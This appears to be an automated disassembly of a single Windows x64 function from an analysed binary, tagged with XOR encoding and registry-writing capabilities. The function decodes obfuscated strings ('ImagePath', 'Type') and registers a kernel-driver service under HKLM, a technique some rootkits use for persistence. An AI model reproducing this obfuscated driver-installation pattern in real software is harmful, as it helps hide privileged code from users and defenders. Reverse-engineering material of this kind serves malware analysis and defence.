Function at 0x140050b20
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x14012d010]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov r15, rcx
mov dword [rbp - 0x11], 1
lea rdx, [rcx + 0x20]
cmp qword [rdx + 0x18], 8
jb 0x140050b70
mov rdi, qword [rdx]
mov rcx, qword [rdx + 0x10]
lea r14, [rdi + rcx*2]
jmp 0x140050b7b
mov rax, qword [rdx + 0x10]
lea r14, [rdx + rax*2]
mov rdi, rdx
xor ebx, ebx
mov qword [rbp - 0x31], rbx
mov ecx, ebx
mov qword [rbp - 0x21], rbx
mov esi, 0xf
mov r8d, esi
mov qword [rbp - 0x19], rsi
mov byte [rbp - 0x31], bl
mov rdx, r14
sub rdx, rdi
sar rdx, 1
cmp rdx, 0x10
jb 0x140050bb8
lea rcx, [rbp - 0x31]
call fcn.140051be0
mov ecx, ebx
mov qword [rbp - 0x21], rbx
mov r8, qword [rbp - 0x19]
lea rax, [rbp - 0x31]
mov qword [rbp - 0x79], rax
cmp rdi, r14
je 0x140050c0a
movzx r9d, byte [rdi]
cmp rcx, r8
jae 0x140050bee
lea rax, [rcx + 1]
mov qword [rbp - 0x21], rax
lea rax, [rbp - 0x31]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x31]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140050bf7
lea rcx, [rbp - 0x31]
call fcn.14004f610
add rdi, 2
cmp rdi, r14
je 0x140050c0a
mov r8, qword [rbp - 0x19]
mov rcx, qword [rbp - 0x21]
jmp 0x140050bc5
mov eax, 4
mov dword [rbp - 0x79], eax
mov dword [rbp - 0x75], 0xd8bcbddd
mov byte [rbp - 0x71], 0x85
xor ecx, ecx
mov word [rbp - 0x70], cx
mov byte [rbp - 0x6e], cl
mov edx, ebx
test eax, eax
je 0x140050c47
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x75]
add rcx, rax
lea eax, [rdx - 0x7f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x79]
cmp edx, eax
jb 0x140050c30
mov byte [rbp + rax - 0x75], 0
lea rax, [rbp - 0x75]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140050c57
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp - 0x21]
sub rax, rdx
cmp rax, rcx
jb 0x140050f2b
lea rax, [rbp - 0x31]
cmp qword [rbp - 0x19], 0x10
cmovae rax, qword [rbp - 0x31]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x75]
lea rcx, [rbp + 0x17]
call fcn.14004f960
nop
cmp qword [r15 + 0x18], 8
jb 0x140050cb9
mov rdi, qword [r15]
mov rcx, qword [r15 + 0x10]
lea r14, [rdi + rcx*2]
jmp 0x140050cc4
mov rax, qword [r15 + 0x10]
lea r14, [r15 + rax*2]
mov rdi, r15
mov qword [rbp - 9], rbx
mov rcx, rbx
mov qword [rbp + 7], rbx
mov qword [rbp + 0xf], rsi
mov rdx, r14
sub rdx, rdi
sar rdx, 1
cmp rdx, 0x10
jb 0x140050cf6
lea rcx, [rbp - 9]
call fcn.140051be0
mov rcx, rbx
mov qword [rbp + 7], rbx
mov rsi, qword [rbp + 0xf]
lea rax, [rbp - 9]
mov qword [rbp - 0x79], rax
cmp rdi, r14
je 0x140050d48
movzx r9d, byte [rdi]
cmp rcx, rsi
jae 0x140050d2c
lea rax, [rcx + 1]
mov qword [rbp + 7], rax
lea rax, [rbp - 9]
cmp rsi, 0x10
cmovae rax, qword [rbp - 9]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140050d35
lea rcx, [rbp - 9]
call fcn.14004f610
add rdi, 2
cmp rdi, r14
je 0x140050d48
mov rsi, qword [rbp + 0xf]
mov rcx, qword [rbp + 7]
jmp 0x140050d03
mov eax, 0x21
mov dword [rbp - 0x69], eax
movdqa xmm0, xmmword [0x140122000]
movdqu xmmword [rbp - 0x65], xmm0
movdqa xmm1, xmmword [0x140121760]
movdqu xmmword [rbp - 0x55], xmm1
mov dword [rbp - 0x45], 0xa2d2
mov edx, ebx
test eax, eax
je 0x140050d97
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x65]
add rcx, rax
lea eax, [rdx - 0x7f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x69]
cmp edx, eax
jb 0x140050d80
mov byte [rbp + rax - 0x65], 0
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x65]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140050ee0
cmp qword [r15 + 0x18], 8
jb 0x140050dc3
mov r15, qword [r15]
lea r8, [rbp - 0x41]
mov rdx, r15
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140050ee0
mov r9d, dword [rbp + 0x27]
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0x10
cmovae r8, qword [rbp + 0x17]
mov eax, 9
mov dword [rbp - 0x79], eax
mov dword [rbp - 0x75], 0xe3e2efc8
mov dword [rbp - 0x71], 0xfce6d6e0
mov dword [rbp - 0x6d], 0x8ae1
mov edx, ebx
test eax, eax
je 0x140050e28
mov eax, edx
lea rcx, [rbp - 0x75]
add rcx, rax
lea eax, [rdx - 0x7f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x79]
cmp edx, eax
jb 0x140050e11
mov byte [rbp + rax - 0x75], 0
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x75]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140050ee0
mov eax, 4
mov dword [rbp - 0x79], eax
mov dword [rbp - 0x75], 0xe1f3fbd5
mov byte [rbp - 0x71], 0x85
xor ecx, ecx
mov word [rbp - 0x70], cx
mov byte [rbp - 0x6e], cl
test eax, eax
je 0x140050e97
nop word [rax + rax]
mov eax, ebx
lea rcx, [rbp - 0x75]
add rcx, rax
lea eax, [rbx - 0x7f]
xor byte [rcx], al
inc ebx
mov eax, dword [rbp - 0x79]
cmp ebx, eax
jb 0x140050e80
mov byte [rbp + rax - 0x75], 0
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x75]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140050ee0
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
jmp 0x140050ee2
xor bl, bl
lea rcx, [rbp - 9]
call fcn.14004ef80
nop
lea rcx, [rbp + 0x17]
call fcn.14004ef80
nop
lea rcx, [rbp - 0x31]
call fcn.14004ef80
movzx eax, bl
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14010ea20
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14004bd70
nop
int3